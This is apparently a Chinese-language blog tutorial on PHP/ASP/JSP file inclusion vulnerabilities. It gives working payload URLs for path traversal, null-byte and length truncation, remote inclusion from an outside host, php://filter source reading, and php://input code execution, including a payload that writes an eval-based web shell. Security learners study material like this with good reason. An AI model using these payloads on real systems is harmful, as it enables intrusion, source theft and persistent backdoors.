文件包含

pumpk1n 发布于 2026-05-29 245 次阅读


1.文件被解析,则是文件包含漏洞 2.显示源代码,则是文件读取漏洞 3.提示文件下载,则是文件下载漏洞

文件包含各个脚本代码

ASP,PHP,JSP,ASPX等

<!-—#include file="1.asp " -->

<!--#include file="top.aspx"-->

<c:import url="http://lthief.one/1.jsp">
<jsp:include page="head .jsp" / >
<%@ include file="head.jsp" %>

<?php Include ( 'test.php ' ) ?>

本地包含

无限制

直接读取

http://127.0.0.1:8080/include.php?filename=1.txt
或者
http://127.0.0.1:8080/include.php?filename=../../../www.txt

有限制

%00阶段:条件:magic_quotes_gpc = Off php版本<5.3.4

http://127.0.0.1:8080/include.php?filename=../../../www.txt%00

长度截断:条件:windows,点号需要长于256;linux长于4096

http://127.0.0.1:8080/include.php?filename=../../../www.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

远程包含

allow_url_include=On 表示可以远程包含

无限制

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt

有限制

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

各种协议

可以参考

https://www.cnblogs.com/endust/p/11804767.html
  • file://  - 访问本地文件系统
  • http:// - 访问 HTTP(s) 网址
  • ftp:// - 访问 FTP(s) URLs
  • php:// - 访问各个输入/输出流(I/O streams)
  • zlib:// -压缩流
  • data:// - 数据(RFC 2397)
  • glob:// - 查找匹配的文件路径模式
  • phar:// - PHP 归档
  • ssh2:// - Secure Shell 2
  • rar:// - RAR
  • ogg:// - 音频流
  • expect:// - 处理交互式的流

读取文件源码用法

php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

执行php代码用法

php://input + [POST DATA]
http://127.0.0.1/include.php?filename=php://input
[POST DATA部分]
<?php phpinfo(); ?>

写入一句话木马

http://127.0.0.1/include.php?filename=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

修复

  • 固定后缀
  • 固定文件
  • WAF产品

黑盒测试

先尝试大小写 windows不区分大小写,linux区分大小写 然后尝试各种协议进行攻击

此作者没有提供个人介绍。
最后更新于 2026-06-01